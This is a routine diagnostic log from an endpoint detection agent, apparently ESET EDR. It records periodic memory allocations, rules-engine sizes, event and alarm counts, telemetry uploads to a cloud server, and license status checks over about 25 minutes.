2026-03-04 06:18:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2128 KB; ModuleMetadata: 584 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 524 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 500 KB; BaseEvent: 409 KB; rules::ProcessConditionsCache: 405 KB; ModuleInfoCache: 109 KB; BatchSerializer::EventsQueueTag: 108 KB; CacheEntry: 92 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 12 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 4 KB; BatchStringTag: 0 KB; Total: 66970 KB;
2026-03-04 06:19:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2529 KB; BaseEvent: 606 KB; ModuleMetadata: 584 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 550 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 501 KB; BatchSerializer::EventsQueueTag: 160 KB; ModuleInfoCache: 109 KB; CacheEntry: 92 KB; cloudutils::CloudData: 40 KB; rules::ProcessConditionsCache: 24 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 67260 KB;
2026-03-04 06:20:38 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 06:16:29, To:, 2026-03-04 06:20:38, Duration (s):, 249, Events Per Second:, 16.579, Events:, 4129, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3417, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 1, Livegrid:, 1, OriginUrl:, 0, Alarms:, 709, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 459124
2026-03-04 06:20:39 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s412ms.
2026-03-04 06:20:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1393 KB; ModuleMetadata: 584 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 537 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 503 KB; ModuleInfoCache: 109 KB; CacheEntry: 92 KB; BaseEvent: 45 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; rules::ProcessConditionsCache: 14 KB; BatchSerializer::EventsQueueTag: 12 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 65394 KB;
2026-03-04 06:21:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1753 KB; ModuleMetadata: 584 KB; TcpIpConnectionsManager: 552 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 505 KB; rules::ProcessConditionsCache: 406 KB; BaseEvent: 225 KB; ModuleInfoCache: 109 KB; CacheEntry: 92 KB; BatchSerializer::EventsQueueTag: 58 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 66388 KB;
2026-03-04 06:22:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2160 KB; ModuleMetadata: 584 KB; TcpIpConnectionsManager: 568 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 506 KB; BaseEvent: 411 KB; BatchSerializer::EventsQueueTag: 109 KB; ModuleInfoCache: 109 KB; CacheEntry: 92 KB; rules::ProcessConditionsCache: 48 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 13 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66697 KB;
2026-03-04 06:23:22 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 06:23:22 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 06:23:22 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 06:23:22 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 06:23:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 06:23:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 06:23:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 06:23:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 06:23:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2518 KB; BaseEvent: 589 KB; ModuleMetadata: 584 KB; TcpIpConnectionsManager: 578 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 507 KB; BatchSerializer::EventsQueueTag: 157 KB; ModuleInfoCache: 109 KB; CacheEntry: 92 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; rules::ProcessConditionsCache: 21 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 67258 KB;
2026-03-04 06:24:46 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 06:20:37, To:, 2026-03-04 06:24:45, Duration (s):, 248, Events Per Second:, 16.550, Events:, 4120, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3413, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 1, Livegrid:, 1, OriginUrl:, 0, Alarms:, 704, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 457746
2026-03-04 06:24:48 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s405ms.
2026-03-04 06:24:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1380 KB; TcpIpConnectionsManager: 585 KB; ModuleMetadata: 584 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 508 KB; ModuleInfoCache: 109 KB; CacheEntry: 92 KB; cloudutils::CloudData: 39 KB; BaseEvent: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; rules::ProcessConditionsCache: 16 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; BatchSerializer::EventsQueueTag: 7 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65414 KB;
2026-03-04 06:25:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1746 KB; ModuleMetadata: 584 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 544 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 497 KB; BaseEvent: 211 KB; ModuleInfoCache: 109 KB; CacheEntry: 92 KB; BatchSerializer::EventsQueueTag: 54 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 8 KB; rules::ProcessConditionsCache: 5 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65946 KB;
2026-03-04 06:26:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2106 KB; ModuleMetadata: 584 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 534 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 517 KB; rules::ProcessConditionsCache: 397 KB; BaseEvent: 392 KB; ModuleInfoCache: 109 KB; BatchSerializer::EventsQueueTag: 102 KB; CacheEntry: 92 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 66938 KB;
2026-03-04 06:27:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2444 KB; ModuleMetadata: 584 KB; BaseEvent: 558 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 518 KB; TcpIpConnectionsManager: 509 KB; rules::ProcessConditionsCache: 356 KB; BatchSerializer::EventsQueueTag: 146 KB; ModuleInfoCache: 109 KB; CacheEntry: 92 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67419 KB;
2026-03-04 06:28:22 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 06:28:22 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 06:28:22 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 06:28:22 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 06:28:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 06:28:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 06:28:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 06:28:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 06:28:55 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 06:24:40, To:, 2026-03-04 06:28:55, Duration (s):, 255, Events Per Second:, 16.045, Events:, 4103, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3391, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 711, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 456142
2026-03-04 06:28:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1260 KB; ModuleMetadata: 584 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 537 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 518 KB; BatchStringTag: 445 KB; rules::ProcessConditionsCache: 348 KB; ModuleInfoCache: 109 KB; CacheEntry: 92 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BaseEvent: 1 KB; BatchSerializer::EventsQueueTag: 0 KB; Total: 65996 KB;
2026-03-04 06:28:57 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s388ms.
2026-03-04 06:29:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1621 KB; ModuleMetadata: 584 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 534 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 522 KB; rules::ProcessConditionsCache: 328 KB; BaseEvent: 178 KB; ModuleInfoCache: 109 KB; CacheEntry: 92 KB; BatchSerializer::EventsQueueTag: 46 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66117 KB;
2026-03-04 06:30:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1987 KB; ModuleMetadata: 584 KB; TcpIpConnectionsManager: 555 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 522 KB; BaseEvent: 357 KB; rules::ProcessConditionsCache: 321 KB; ModuleInfoCache: 109 KB; BatchSerializer::EventsQueueTag: 93 KB; CacheEntry: 92 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66725 KB;
2026-03-04 06:31:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2347 KB; ModuleMetadata: 584 KB; rules::AncestorEvaluations: 551 KB; BaseEvent: 535 KB; TcpIpConnectionsManager: 527 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 525 KB; rules::ProcessConditionsCache: 304 KB; BatchSerializer::EventsQueueTag: 140 KB; ModuleInfoCache: 109 KB; CacheEntry: 92 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67267 KB;
2026-03-04 06:32:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2706 KB; BaseEvent: 713 KB; ModuleMetadata: 584 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 526 KB; TcpIpConnectionsManager: 521 KB; rules::ProcessConditionsCache: 284 KB; BatchSerializer::EventsQueueTag: 186 KB; ModuleInfoCache: 109 KB; CacheEntry: 92 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67826 KB;
2026-03-04 06:33:06 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 06:28:55, To:, 2026-03-04 06:33:06, Duration (s):, 251, Events Per Second:, 16.327, Events:, 4100, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3378, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 721, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 456196
2026-03-04 06:33:07 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s411ms.
2026-03-04 06:33:23 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 06:33:23 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 06:33:23 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 06:33:23 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 06:33:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 06:33:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 06:33:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 06:33:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 06:33:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1571 KB; ModuleMetadata: 584 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 528 KB; TcpIpConnectionsManager: 521 KB; rules::ProcessConditionsCache: 275 KB; BaseEvent: 146 KB; ModuleInfoCache: 109 KB; CacheEntry: 92 KB; cloudutils::CloudData: 39 KB; BatchSerializer::EventsQueueTag: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 8 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 65966 KB;
2026-03-04 06:34:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1934 KB; ModuleMetadata: 584 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 530 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 529 KB; BaseEvent: 325 KB; rules::ProcessConditionsCache: 265 KB; ModuleInfoCache: 109 KB; CacheEntry: 92 KB; BatchSerializer::EventsQueueTag: 84 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 66555 KB;
2026-03-04 06:35:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2298 KB; ModuleMetadata: 584 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 532 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 516 KB; BaseEvent: 502 KB; rules::ProcessConditionsCache: 261 KB; BatchSerializer::EventsQueueTag: 132 KB; ModuleInfoCache: 109 KB; CacheEntry: 92 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67130 KB;
2026-03-04 06:36:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2658 KB; BaseEvent: 679 KB; ModuleMetadata: 584 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 524 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 519 KB; rules::ProcessConditionsCache: 237 KB; BatchSerializer::EventsQueueTag: 177 KB; ModuleInfoCache: 109 KB; CacheEntry: 92 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 67682 KB;
2026-03-04 06:37:18 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 06:33:05, To:, 2026-03-04 06:37:18, Duration (s):, 253, Events Per Second:, 16.267, Events:, 4116, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3394, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 721, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 457069
2026-03-04 06:37:19 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s369ms.
2026-03-04 06:37:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1506 KB; ModuleMetadata: 584 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 522 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 518 KB; rules::ProcessConditionsCache: 222 KB; BaseEvent: 114 KB; ModuleInfoCache: 109 KB; CacheEntry: 92 KB; cloudutils::CloudData: 39 KB; BatchSerializer::EventsQueueTag: 29 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65800 KB;
2026-03-04 06:38:23 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 06:38:23 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 06:38:23 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 06:38:23 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 06:38:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 06:38:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 06:38:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 06:38:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 06:38:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1800 KB; ModuleMetadata: 585 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 522 KB; TcpIpConnectionsManager: 468 KB; BaseEvent: 245 KB; ModuleInfoCache: 109 KB; rules::ProcessConditionsCache: 101 KB; CacheEntry: 94 KB; BatchSerializer::EventsQueueTag: 68 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 14 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66103 KB;
2026-03-04 06:39:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1800 KB; ModuleMetadata: 585 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 522 KB; TcpIpConnectionsManager: 306 KB; BaseEvent: 247 KB; ModuleInfoCache: 109 KB; rules::ProcessConditionsCache: 101 KB; CacheEntry: 94 KB; BatchSerializer::EventsQueueTag: 69 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 14 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65944 KB;
2026-03-04 06:40:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1800 KB; ModuleMetadata: 585 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 522 KB; BaseEvent: 248 KB; TcpIpConnectionsManager: 155 KB; ModuleInfoCache: 109 KB; rules::ProcessConditionsCache: 101 KB; CacheEntry: 94 KB; BatchSerializer::EventsQueueTag: 69 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 14 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 65793 KB;
2026-03-04 06:41:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1800 KB; ModuleMetadata: 585 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 522 KB; BaseEvent: 249 KB; ModuleInfoCache: 109 KB; rules::ProcessConditionsCache: 101 KB; CacheEntry: 94 KB; BatchSerializer::EventsQueueTag: 70 KB; TcpIpConnectionsManager: 63 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 14 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 65703 KB;
2026-03-04 06:42:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1800 KB; ModuleMetadata: 585 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 522 KB; BaseEvent: 249 KB; ModuleInfoCache: 109 KB; rules::ProcessConditionsCache: 101 KB; CacheEntry: 94 KB; BatchSerializer::EventsQueueTag: 70 KB; TcpIpConnectionsManager: 63 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 14 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 65703 KB;
2026-03-04 06:43:23 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 06:43:23 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 06:43:23 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 06:43:23 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 06:43:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 06:43:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 06:43:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
